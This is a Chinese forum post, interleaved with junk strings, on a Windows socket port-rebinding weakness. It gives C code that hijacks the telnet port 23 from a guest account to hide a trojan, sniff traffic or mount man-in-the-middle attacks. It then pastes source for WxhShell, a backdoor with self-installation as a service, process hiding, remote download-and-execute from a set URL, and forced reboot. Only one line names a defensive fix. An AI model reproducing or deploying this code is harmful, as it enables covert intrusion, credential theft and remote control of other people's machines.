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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _;",7bT80  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $8h^R#  
saQA:W;  
  saddr.sin_family = AF_INET; p"f=[awp  
-q\5)nY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4Waot  
p*)RP2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !/, 6+2Ru  
+c#:;&Gs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eYBo*  
[RG&1~  
  这意味着什么?意味着可以进行如下的攻击: a(&!{Y1bt  
De,4r(5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @=q,,t$r  
e|u|b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b}4k-hZL  
t_5b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cy8+@77  
ysD @yM,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }q9;..oL  
"ut:\%39.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 68?oV)fE  
4a]m=]Hm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4&;.>{ :;  
:L<$O7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i|+ EC_^<  
8`}(N^=}  
  #include Z\6&5r=  
  #include  c'?4*O  
  #include Cr|v3Y#h'  
  #include    QIQ }ia  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xevG)m  
  int main() -]"=b\Q  
  { ),%/T,!@  
  WORD wVersionRequested; |E$Jt-'  
  DWORD ret; }r^@Xh  
  WSADATA wsaData; YgiwtZ5FY  
  BOOL val; o.U$\9MNP  
  SOCKADDR_IN saddr; 5\1Z"?  
  SOCKADDR_IN scaddr; CZyOAoc<  
  int err; ^G%Bj`%  
  SOCKET s; Qx CZ<|  
  SOCKET sc; CL%?K<um  
  int caddsize; %\#s@8=2u  
  HANDLE mt; J&UFP{)  
  DWORD tid;   |1J=wp)#  
  wVersionRequested = MAKEWORD( 2, 2 ); *%_:[>  
  err = WSAStartup( wVersionRequested, &wsaData ); > ^fY`x,  
  if ( err != 0 ) { }ny ,Nl  
  printf("error!WSAStartup failed!\n"); L'=2Uk#.D  
  return -1; 5g  ,u\`  
  }  {n}6  
  saddr.sin_family = AF_INET; J,;[n*s  
   ^Cb7R/R3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $+P9@Q$  
\7z&iGe!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yyZH1A  
  saddr.sin_port = htons(23); g/,fjM_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oZ95)'L,  
  { opTDW)  
  printf("error!socket failed!\n"); CK[2duf^~  
  return -1; B;t U+36nM  
  } Cd)e_&  
  val = TRUE; 1L1_x'tT%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FrD.{(/~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f 'aQ T  
  { RP'`\| |*  
  printf("error!setsockopt failed!\n"); u%?u`n2'  
  return -1; KpBh@S  
  } 8;9GM^L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Knsb`1"E^6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b9%}< w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Pm; /Ua  
O @fX +W?U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,GEMc a,`  
  { j-|YE?AA  
  ret=GetLastError(); c 2j?<F1  
  printf("error!bind failed!\n"); L(Q v78F  
  return -1; r4caIV  
  } d{+ H|$L`  
  listen(s,2); `84pql,  
  while(1) -'+|r]  
  { b $x<7l5C  
  caddsize = sizeof(scaddr); @ fm\ H  
  //接受连接请求 fVv#|   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +aRjJ/*  
  if(sc!=INVALID_SOCKET) <\Nf6>_qEM  
  { /G`&k{SiK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tVQfR*=  
  if(mt==NULL) pgz3d{]ua  
  { 1;r^QAK&  
  printf("Thread Creat Failed!\n");  SzkF-yRd  
  break; s`F v!  
  } lM Gz"cym  
  } B' 6^E#9  
  CloseHandle(mt); hk4f)z  
  } R-]QU`c  
  closesocket(s); _H@s^g  
  WSACleanup(); Nk=F.fp|/  
  return 0; ~J!a?]  
  }   #EtS9D'd+  
  DWORD WINAPI ClientThread(LPVOID lpParam) d_#\^!9  
  { m>2b %GTh  
  SOCKET ss = (SOCKET)lpParam; hABC rd Em  
  SOCKET sc; P$_Y:XI !  
  unsigned char buf[4096]; >U~.I2sz  
  SOCKADDR_IN saddr; "{;]T  
  long num; "T5?<c  
  DWORD val; :/ns/~5xa:  
  DWORD ret; Ne*I$T 5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r:K)Q@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vgOmcf%;  
  saddr.sin_family = AF_INET; B5Rmz&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )xCpQ=nS  
  saddr.sin_port = htons(23); ]3hz{zqV^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U,)Ngnd  
  { _v4TyJ  
  printf("error!socket failed!\n"); k\_>/)g  
  return -1; W ]5kM~Q@  
  } 5)V]qV$   
  val = 100; XG<J'3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` _()R`=  
  { _dppUUm  
  ret = GetLastError(); D h]+HF  
  return -1; L5%~H?K(  
  } >`= '~y8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M]!\X6<_  
  { w<j6ln+nM  
  ret = GetLastError(); eJ)Bs20Q  
  return -1; g. f!Uc{  
  } @;_r `AT7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #O]F5JB  
  { &w:"e'FG`  
  printf("error!socket connect failed!\n"); VA4vAF  
  closesocket(sc); 5b9_6L6  
  closesocket(ss); =%Gecj  
  return -1; n|NI]Qi*  
  } R?1;'pvpa[  
  while(1) X obiF  
  { $f>Mz|j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W-=~Afy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 : QSlctW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CZE5RzG  
  num = recv(ss,buf,4096,0); `d6 {Tli  
  if(num>0) ~$#DB@b  
  send(sc,buf,num,0); f[ GH  
  else if(num==0) s2g}IZfo  
  break; ]tH/87qJ  
  num = recv(sc,buf,4096,0); y% uUA]c*m  
  if(num>0) @Qd6a:-6  
  send(ss,buf,num,0); 1 Y@6oT  
  else if(num==0) gj\r>~S  
  break; 2i', e  
  } B:ddlxT $  
  closesocket(ss); h0 Acpd2  
  closesocket(sc); eJE?H]  
  return 0 ; 2f`u?T  
  } gm8L5c V  
s['F?GWg  
JO5~Vj_"  
========================================================== ^C>i(j&  
Lcplc"C  
下边附上一个代码,,WXhSHELL 9C[3w[G~C  
MR%M[SK1  
========================================================== Rb<aCX  
fS-#dJC";`  
#include "stdafx.h" !40{1U&@a`  
C2AP   
#include <stdio.h> ;z#D%#Ztq  
#include <string.h> 0@,,YZ f  
#include <windows.h> /#9O{)  
#include <winsock2.h> HoymGU`w  
#include <winsvc.h> M]jzbJ3Q  
#include <urlmon.h> ?A(=%c|,g  
)H S|pS:  
#pragma comment (lib, "Ws2_32.lib") W2tIt&{  
#pragma comment (lib, "urlmon.lib") `>rdn*B  
RoM'+1nP:#  
#define MAX_USER   100 // 最大客户端连接数 u%5B_<90V  
#define BUF_SOCK   200 // sock buffer T#J]%IDd  
#define KEY_BUFF   255 // 输入 buffer O-wR48Q  
?YXl.yj  
#define REBOOT     0   // 重启 HYLU]9aH8  
#define SHUTDOWN   1   // 关机 ?F*gFW_k  
f!P.=Qo[=  
#define DEF_PORT   5000 // 监听端口 "My \&0-  
,V)yOLApVj  
#define REG_LEN     16   // 注册表键长度 vkE6e6,Qc  
#define SVC_LEN     80   // NT服务名长度 nE]R0|4h  
$k@reN9  
// 从dll定义API 9XF+? x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :CSys62  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mn*.z!N=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l+kI4B7--  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -{pcb7.xuv  
E~2}rK+#)  
// wxhshell配置信息 ]5x N^7_!j  
struct WSCFG { KmEm  
  int ws_port;         // 监听端口 /QHvwaW[  
  char ws_passstr[REG_LEN]; // 口令 o&rejj#  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9g J`H'  
  char ws_regname[REG_LEN]; // 注册表键名 mY(~94{d  
  char ws_svcname[REG_LEN]; // 服务名 vrGRZa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @s2z/ h0H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mh>^~;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r&0v,WSp&S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no azPFKg +  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @]WN|K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7 -gt V#  
-[`,MZf   
}; )Y Qtrc\91  
J.?6a:#bU/  
// default Wxhshell configuration nE Qw6q~je  
struct WSCFG wscfg={DEF_PORT, 1P3^il7  
    "xuhuanlingzhe", W: cOzJ  
    1, zjM+F{P8  
    "Wxhshell", .2!'6;K  
    "Wxhshell", /V46:`V  
            "WxhShell Service", O9=vz%  
    "Wrsky Windows CmdShell Service", 8NPt[*  
    "Please Input Your Password: ", p[hA?dXn  
  1, n8A*Y3~R  
  "http://www.wrsky.com/wxhshell.exe", MCe =RR  
  "Wxhshell.exe" KSqWq:W+  
    }; pHni"i T  
E$4\Yc)(AL  
// 消息定义模块 h?bm1e5kE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e}(ws~.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }c| Xr^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w80g) 4V+  
char *msg_ws_ext="\n\rExit."; 0>Z/3i&?<  
char *msg_ws_end="\n\rQuit."; 0>4:(t7h\  
char *msg_ws_boot="\n\rReboot..."; $}aLFb  
char *msg_ws_poff="\n\rShutdown..."; q,^^c1f  
char *msg_ws_down="\n\rSave to "; )+N%!(ki  
^&h|HO-5  
char *msg_ws_err="\n\rErr!"; 53=s'DZ  
char *msg_ws_ok="\n\rOK!"; I Vq9z  
'2/48j X5  
char ExeFile[MAX_PATH]; }7X85@jC  
int nUser = 0; 5=., a5  
HANDLE handles[MAX_USER]; wB?;3lTS  
int OsIsNt; #`<|W5  
QlSZr[^v  
SERVICE_STATUS       serviceStatus; 9W 5vp:G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E{_p&FF  
jv5p_v4%O  
// 函数声明 u(\b1h n  
int Install(void); +<Uc42i7n  
int Uninstall(void); . ?[2,4F;  
int DownloadFile(char *sURL, SOCKET wsh); ^B1Q";# B^  
int Boot(int flag); B<H5WI  
void HideProc(void); }a'8lwF%I  
int GetOsVer(void); wP+wA}SN  
int Wxhshell(SOCKET wsl); BB|w-W=Kd  
void TalkWithClient(void *cs); d; oaG (e  
int CmdShell(SOCKET sock); H^B/ '#mO  
int StartFromService(void); "DjD"?/b  
int StartWxhshell(LPSTR lpCmdLine); }PK8[N  
y_Bmd   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g(,gg1mG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ljlQ9wb[s  
Cc]t*;nU_  
// 数据结构和表定义 55zimv&DV  
SERVICE_TABLE_ENTRY DispatchTable[] = o D*h@yL  
{ km}%7|R?  
{wscfg.ws_svcname, NTServiceMain}, J5mMx)t@  
{NULL, NULL} ^$6EO) <  
}; )C<c{mjk(  
RnIL>Akp  
// 自我安装 n>+M4Zb  
int Install(void) *t 3fbD  
{ 2J|Wbey  
  char svExeFile[MAX_PATH]; _Sosw|A  
  HKEY key; }Rt?p8p  
  strcpy(svExeFile,ExeFile); =sG  C  
!n}"D:L(  
// 如果是win9x系统,修改注册表设为自启动 Qg%B<3 <  
if(!OsIsNt) { Hb#8?{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mf<P ms\F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |jU/R  
  RegCloseKey(key); \6T&gX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H8mmmt6g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J3oH^  
  RegCloseKey(key); \.POb5]p0  
  return 0; /U`"Xx  
    } tOn/r@Fd^E  
  } 4Bd[r7  
} *FQrmdwb]L  
else { ("}TW-r~  
}(hx$G^M  
// 如果是NT以上系统,安装为系统服务 }{n[_:[7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <JuP+\JAm  
if (schSCManager!=0) ,l_"%xYx  
{ Cz+`C9#  
  SC_HANDLE schService = CreateService }~:`9PV)Z%  
  ( N*f?A$u/I  
  schSCManager, pyq~_ Bng  
  wscfg.ws_svcname, 2h@/Q)z  
  wscfg.ws_svcdisp, BB.^-0up  
  SERVICE_ALL_ACCESS, cE$<6&0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^{DXin 1O`  
  SERVICE_AUTO_START, dli?/U@hO  
  SERVICE_ERROR_NORMAL, Ww{bh -nyq  
  svExeFile, 7ykpDl^@  
  NULL, Z_zN:BJ8L  
  NULL, %u, H2 *  
  NULL, q3z<v:=1y  
  NULL, [O2xE037h`  
  NULL ,gVA^]eDh  
  ); MXh0a@*]  
  if (schService!=0) K63OjR >H  
  { 0>6J -   
  CloseServiceHandle(schService); @a'Rn  
  CloseServiceHandle(schSCManager); P6!c-\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wI'T J e,  
  strcat(svExeFile,wscfg.ws_svcname); Kyq/'9`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .D(H@3qA@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DJdW$S7  
  RegCloseKey(key); ",k"c}3G  
  return 0; yTm/P!1S  
    } az*c0Z<pl  
  } D{x'k2=  
  CloseServiceHandle(schSCManager); %c<e`P;  
} h8&VaJ  
} D|9xD  
)[C]1N=tK  
return 1; b(Zh$86  
} fa//~$#"{L  
6ey{+8  
// 自我卸载 l ~b# Y&  
int Uninstall(void) ?NOc]'<(G  
{ \}P3mS"e3  
  HKEY key; s!:'3[7+  
U>H"N1  
if(!OsIsNt) { r7+"i9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F0t-b%w,  
  RegDeleteValue(key,wscfg.ws_regname); I<L  
  RegCloseKey(key); Y``50{7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xAbx.\  
  RegDeleteValue(key,wscfg.ws_regname); 1YV ;pEw3w  
  RegCloseKey(key); 0/5 a3-3{  
  return 0; >x9@ if  
  } lD)ZMaaS3  
} Hb55RilC  
} %CV@FdB  
else { " R!,5HQF;  
T1%_sq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "yJFb=Xdq  
if (schSCManager!=0) L1ro\H  
{ \f\ CK@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o-a\T  
  if (schService!=0) d0``:  
  { S3 12#X(%  
  if(DeleteService(schService)!=0) { (yA`h@@WS  
  CloseServiceHandle(schService); v7gs $'Q  
  CloseServiceHandle(schSCManager); o9\J vJk  
  return 0; ?*cr|G$r[  
  } v+Mi"ZAd  
  CloseServiceHandle(schService); hGh91c;4  
  } l7 Pn5c  
  CloseServiceHandle(schSCManager); 2T 3tKX  
} N!!=9'fGF  
} opsjei@  
5QN~^  
return 1; 3w!8PPl  
} 'tvX.aX2  
cQ}3? v  
// 从指定url下载文件 xKl\:}Ytp  
int DownloadFile(char *sURL, SOCKET wsh) AK$&'t+$}7  
{ 7" Qj(N  
  HRESULT hr; 41G}d+  
char seps[]= "/"; @=r YOQj |  
char *token; NW_i<#  
char *file; 0RFBun{  
char myURL[MAX_PATH]; $-Iui0h  
char myFILE[MAX_PATH]; D8X~qt/  
^G(U@-0..  
strcpy(myURL,sURL); D[/h7Ha  
  token=strtok(myURL,seps); X'FDQoH  
  while(token!=NULL) ,/2&HZd  
  { 9`y@2/!Y  
    file=token; Qe4O N3X!  
  token=strtok(NULL,seps); Rax]svc  
  } {z#!3a  
Q~k5 }n8  
GetCurrentDirectory(MAX_PATH,myFILE); K}|zKTh:?  
strcat(myFILE, "\\"); ES,T[  
strcat(myFILE, file); w3Lr~_j  
  send(wsh,myFILE,strlen(myFILE),0); {,aX|*1Ku~  
send(wsh,"...",3,0); =$mPReA3v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EDAtC  
  if(hr==S_OK) Op()`x m  
return 0; g'cLc5\  
else %\"<lyD  
return 1; 1 A%0y)]  
lT^/ 8Z<g  
} -.xiq0  
Mc,3j~i  
// 系统电源模块 ?_ 476A  
int Boot(int flag) ci 4K Nv;  
{ ~aPe?{yIUa  
  HANDLE hToken; 0:I[;Q t  
  TOKEN_PRIVILEGES tkp; sGFvSW  
%>'Zy6C<j  
  if(OsIsNt) { _=Z?5{7S >  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V82HO{ D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S5o,\wT  
    tkp.PrivilegeCount = 1; eWWqK9B.-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ] M`%@ps  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ylm # Xa  
if(flag==REBOOT) { 3 C{A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PI\C*_.  
  return 0; 'VgEf:BS  
} "?%2`*\  
else { TB}6iIe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'uC=xG.*}  
  return 0; S-'R84M,F  
} mF:Pplf<  
  } =U7P\s w2  
  else { %u}#|+8}  
if(flag==REBOOT) { R1$s1@3I|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !mZDukfjQ  
  return 0; J6 J">  
} .af+h<RG4$  
else { ZyM7)!+kPa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %rlMjF'tG  
  return 0; (/7b8)g  
} hCBre5  
} &%]v0QK  
 .0YcB  
return 1; a8$4  
} NX4G;+6  
c=,HLHpFO(  
// win9x进程隐藏模块 =MU(!`  
void HideProc(void) ]ur?i{S,  
{ H +' 6*akV  
]"/SU6#4:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E+ctiVL  
  if ( hKernel != NULL ) B"YN+So  
  { nW)?cQ I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sZI"2[bk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8WE@ X)e  
    FreeLibrary(hKernel); !9.k%B:  
  } QJ&]4*>a  
STl8h}C  
return; -Ew>3Q  
} :w q][0)  
oam$9 q  
// 获取操作系统版本 s"@}^ )*}  
int GetOsVer(void) 4a0Ud !Qcs  
{ ~&?57Sw*m  
  OSVERSIONINFO winfo; X J`*dgJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xdi<V_!BC-  
  GetVersionEx(&winfo); qV9}N-sS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $PG(>1e  
  return 1; \ZM5J  
  else /qKA1-R}4  
  return 0; cLEd -{x  
} -4[eZ>$A|  
4E2#krE%  
// 客户端句柄模块 Sg$\H  
int Wxhshell(SOCKET wsl) jzJQ/ZFS  
{ Gphy8~eS  
  SOCKET wsh; n }b{u@$  
  struct sockaddr_in client; XV/7K "  
  DWORD myID; [>N#61CV 5  
0SU v5c  
  while(nUser<MAX_USER) p>,D F9W`  
{ |sI@m@  
  int nSize=sizeof(client); No"i6R+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ul3~!9F5F  
  if(wsh==INVALID_SOCKET) return 1; Tw djBMte  
8 :WN@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w$IUm_~waa  
if(handles[nUser]==0) Fv7]1EO.  
  closesocket(wsh); [n2zdiiBd  
else Qo :vAv  
  nUser++;  V~VUl)  
  } F!3p )?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R%4Yg(-Q  
@ <3E `j'p  
  return 0; L[ZS17 ;*  
} mKjTJzS  
O&MH5^I  
// 关闭 socket ;O1jf4y  
void CloseIt(SOCKET wsh) /O<~n%< G  
{ 9 Jw, ls  
closesocket(wsh); >yr;Y4y7K  
nUser--; /lbj!\~  
ExitThread(0); W/\pqH  
} T;5VNRgpI  
*v%gNq  
// 客户端请求句柄 -.r"|\1X  
void TalkWithClient(void *cs) GMg! 2CIU  
{ 3$xpZm60  
~r?tFE* +  
  SOCKET wsh=(SOCKET)cs; KTt+}-vP^  
  char pwd[SVC_LEN]; L@z[b^  
  char cmd[KEY_BUFF]; i6P}MtC1  
char chr[1]; g4=C]\1  
int i,j; YO-B|f  
e,{k!BXU#'  
  while (nUser < MAX_USER) { yKuZJXGVo  
'$Z@oCY#  
if(wscfg.ws_passstr) { [) 0JI6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |||m5(`S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i3mw.`7  
  //ZeroMemory(pwd,KEY_BUFF); uB^"A ;0v  
      i=0; m_Pk$Vwx  
  while(i<SVC_LEN) { VQ,5&-9Y3  
1TX3/]:  
  // 设置超时 tH&eKM4G  
  fd_set FdRead; tvf5b8(Y-  
  struct timeval TimeOut; ?FNgJx*\S  
  FD_ZERO(&FdRead); b1>]?.  
  FD_SET(wsh,&FdRead); dH.Fb/7f  
  TimeOut.tv_sec=8; oexTz[  
  TimeOut.tv_usec=0; YhNrg?nS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 45n.%*,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )5n0P Zi  
\9@}0}%`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }cI-]|)|2  
  pwd=chr[0]; vs$h&o>|  
  if(chr[0]==0xd || chr[0]==0xa) { qLN\>Z,3;  
  pwd=0; R<gAxO%8  
  break; y9?*H?f,  
  } Go1xyd:k  
  i++; ;zze.kb&F  
    } 2q]ZI  
c7{s'ifG  
  // 如果是非法用户,关闭 socket C$ K?4$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J~xm[^0  
} `q\F C[W  
/k ?l%AH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A4|7^Ay  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kP}l"CN4  
VRgckh m  
while(1) { n|?sNM<J3  
(SQGl!Lai0  
  ZeroMemory(cmd,KEY_BUFF); *Gv:N6  
E.;Hm;  
      // 自动支持客户端 telnet标准   n:B){'S  
  j=0; A W6B[  
  while(j<KEY_BUFF) { <mki@{;|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @{{L1[~:0  
  cmd[j]=chr[0]; WV'u}-v^  
  if(chr[0]==0xa || chr[0]==0xd) { :CezkD&  
  cmd[j]=0; Z2@e~&L  
  break; 6w? GeJ  
  } 'hPW#*#W<  
  j++; g]JRAM  
    } 8RuW[T?  
TghT{h@  
  // 下载文件 X^dasU{*  
  if(strstr(cmd,"http://")) { 0sA`})Dk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E+EcXf  
  if(DownloadFile(cmd,wsh)) Ek_&E7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \1&4wzT  
  else k&:q|[N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @aN~97 H\  
  } k"%JyO8Y  
  else { Nt]nwae>A  
AX&Emz-  
    switch(cmd[0]) { GIkeZV{4}  
  Ct?xTFb  
  // 帮助 [O'aka Q  
  case '?': { Y@k=m )zE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3N!v"2!#  
    break; \!jz1`]&{  
  } 901 5PEO  
  // 安装 TD*AFR3Oz  
  case 'i': { ^tSwAanP\  
    if(Install()) ?D7zty+}^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q)o;iR  
    else x4>"m(&%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -6WSYpHV  
    break; |OAiHSW"V  
    } BMQ4i&kF|  
  // 卸载 ~N}Zr$D  
  case 'r': { 4,W,E4 7  
    if(Uninstall()) x5xMr.vm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pzd!"Gl9  
    else rNicg]:\x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /=l!F'  
    break; l&e{GHz  
    } O(-6Zqk8Q  
  // 显示 wxhshell 所在路径 6:8Nz   
  case 'p': { >'=9sCi  
    char svExeFile[MAX_PATH]; %Qb}z@>fJk  
    strcpy(svExeFile,"\n\r"); D3,)H%5.y  
      strcat(svExeFile,ExeFile); G9xO>Xp^Al  
        send(wsh,svExeFile,strlen(svExeFile),0); ZwY mR=  
    break; yK9EHJ$  
    } E_$nsM8?  
  // 重启 ,Xn %0]  
  case 'b': { p ^TCr<=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3TeRZ=2:*x  
    if(Boot(REBOOT)) kREFh4QO,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iD%a;]  
    else { vfj{j= G  
    closesocket(wsh); <h+@;/v:  
    ExitThread(0); jA2%kX\6//  
    } 7!(/7U6rP  
    break; )mI>2<Z!  
    } Wi5Dl=  
  // 关机  q^6#.}  
  case 'd': { N}[!QE  
